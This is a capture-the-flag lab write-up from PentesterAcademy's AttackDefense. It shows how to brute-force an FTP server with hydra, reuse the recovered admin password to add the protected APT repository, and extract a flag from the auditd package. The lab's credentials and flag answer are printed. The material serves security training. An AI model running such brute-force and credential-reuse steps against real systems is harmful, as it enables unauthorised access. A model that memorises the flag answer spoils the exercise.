
ATTACK
DEFENSE
by PentesterAcademy

Name	APT Repo: Over FTP
URL	https://www.attackdefense.com/challengedetails?cid=1070
Type	Code Repository : APT Repository

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

A flag is hidden in "auditd" package which is hosted on a protected APT repository on the same network.

Objective: Figure out the credentials for APT server, get the package and retrieve the flag!

Solution:

Step 1: Check the IP address of Kali machine

Command: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
14988: eth0@if14989: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:04 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.4/24 brd 10.1.1.255 scope global eth0
       valid_lft forever preferred_lft forever
14991: eth1@if14992: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:7c:68:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.124.104.2/24 brd 192.124.104.255 scope global eth1
       valid_lft forever preferred_lft forever
root@attackdefense:~#
```

Step 2: Scan the target machine.

Command: nmap -p- -sV 192.124.104.3

```
root@attackdefense:~# nmap -p- -sV 192.124.104.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-09 16:55 UTC
Nmap scan report for yk6hobxvx7elfwvr9ci7w3p6f.temp-network_a-124-104 (192.124.104.3)
Host is up (0.000028s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5e
MAC Address: 02:42:C0:7C:68:03 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 3.32 seconds
root@attackdefense:~#
```

Step3: Check if anonymous login is allowed on FTP server.

Command: ftp 192.124.104.3

```
root@attackdefense:~# ftp 192.124.104.3
Connected to 192.124.104.3.
220 ProFTPD 1.3.5e Server (AttackDefense-FTP) [::ffff:192.124.104.3]
Name (192.124.104.3:root): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
Login failed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ^C
ftp> 221 Goodbye.
root@attackdefense:~#
```

Step 4: Anonymous login is not allowed. Use hydra tool to perform a dictionary attack on the FTP service.

Command: hydra -l admin -P wordlists/100-common-passwords.txt ftp://192.124.104.3

```
root@attackdefense:~# hydra -l admin -P wordlists/100-common-passwords.txt ftp://192.124.104.3
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations,

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-06-09 16:56:35
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:1/p:100), ~7 tries per task
[DATA] attacking ftp://192.124.104.3:21/
[21][ftp] host: 192.124.104.3   login: admin   password: donald
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-06-09 16:56:50
root@attackdefense:~#
```

Step 5: Use recovered credentials to check the FTP server content.

Command: ftp 192.124.104.3

Username: admin
Password: donald

Check the contents

Command: ls -l

```
root@attackdefense:~# ftp 192.124.104.3
Connected to 192.124.104.3.
220 ProFTPD 1.3.5e Server (AttackDefense-FTP) [::ffff:192.124.104.3]
Name (192.124.104.3:root): admin
331 Password required for admin
Password:
230 User admin logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   3 admin    root         4096 Jun  9 07:10 repo
226 Transfer complete
ftp>
ftp> 221 Goodbye.
root@attackdefense:~#
```

Step 6: Add the repo source to Kali attacker machine.

Command: echo "deb ftp://192.124.104.3/repo/ /" > /etc/apt/sources.list.d/internal.list

Also fetch and add the PGP key from the repo

Command: wget -q -O - ftp://admin:donald@192.124.104.3/repo/KEY.gpg | apt-key add -

```
root@attackdefense:~#
root@attackdefense:~# echo "deb ftp://192.124.104.3/repo/ /" > /etc/apt/sources.list.d/internal.list
root@attackdefense:~#
root@attackdefense:~# wget -q -O - ftp://admin:donald@192.124.104.3/repo/KEY.gpg | apt-key add -
OK
root@attackdefense:~#
```

Create /etc/apt/auth.conf file and add authentication details to that

File content:
machine 192.124.104.3
login admin
password donald

```
root@attackdefense:~# cat /etc/apt/auth.conf
machine 192.124.104.3
login admin
password donald
root@attackdefense:~#
```

Step 7: Update the package list

Command: apt update

```
root@attackdefense:~# apt update
Hit:1 ftp://192.124.104.3/repo  InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
3 packages can be upgraded. Run 'apt list --upgradable' to see them.
root@attackdefense:~#
```

Step 8: Download the auditd package. This command only downloads the package and does NOT install it. Also, to make it easy to locate the package in package cache, clear the cache.

Commands:
apt clean
apt install -d auditd

```
root@attackdefense:~# apt clean
root@attackdefense:~#
root@attackdefense:~# apt install -d auditd
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libargon2-0 libdns-export1100
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
  libauparse0
```

Step 9: Check the cache directory. Observe that the download package is present there.

Command: ls -l /var/cache/apt/archives

```
root@attackdefense:~# ls -l /var/cache/apt/archives/
total 244
-rw-r--r-- 1 root root 193732 Jun  9 09:26 auditd_1%3a2.8.2-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root  48608 Jun  9 07:42 libauparse0_1%3a2.8.2-1ubuntu1_amd64.deb
-rw-r----- 1 root root      0 Jan 10  2018 lock
drwx------ 1 _apt root   4096 Jun 10 09:51 partial
root@attackdefense:~#
```

Step 10: Change to cache directory, extract the archive.

Commands:
cd /var/cache/apt/archives
mkdir extracted
dpkg-deb -R auditd_1%3a2.8.2-lubuntu1_amd64.deb extracted

```
root@attackdefense:~# cd /var/cache/apt/archives/
root@attackdefense:/var/cache/apt/archives#
root@attackdefense:/var/cache/apt/archives# mkdir extracted
root@attackdefense:/var/cache/apt/archives# dpkg-deb -R auditd_1%3a2.8.2-1ubuntu1_amd64.deb extracted/
```

Step 11: Change to extracted directory and retrieve the flag.

Commands:
cd extracted
find . -name *flag*
cat etc/flag.txt

```
root@attackdefense:/var/cache/apt/archives# cd extracted/
root@attackdefense:/var/cache/apt/archives/extracted# find . -name *flag*
./etc/flag.txt
root@attackdefense:/var/cache/apt/archives/extracted#
root@attackdefense:/var/cache/apt/archives/extracted# cat etc/flag.txt
308aff5b42047fa7f7736170db71fffd
root@attackdefense:/var/cache/apt/archives/extracted#
```

Flag: 308aff5b42047fa7f7736170db71fffd

References:

1. apt-get (https://linux.die.net/man/8/apt-get)
2. APT package manager (https://en.wikipedia.org/wiki/APT_(Package_Manager))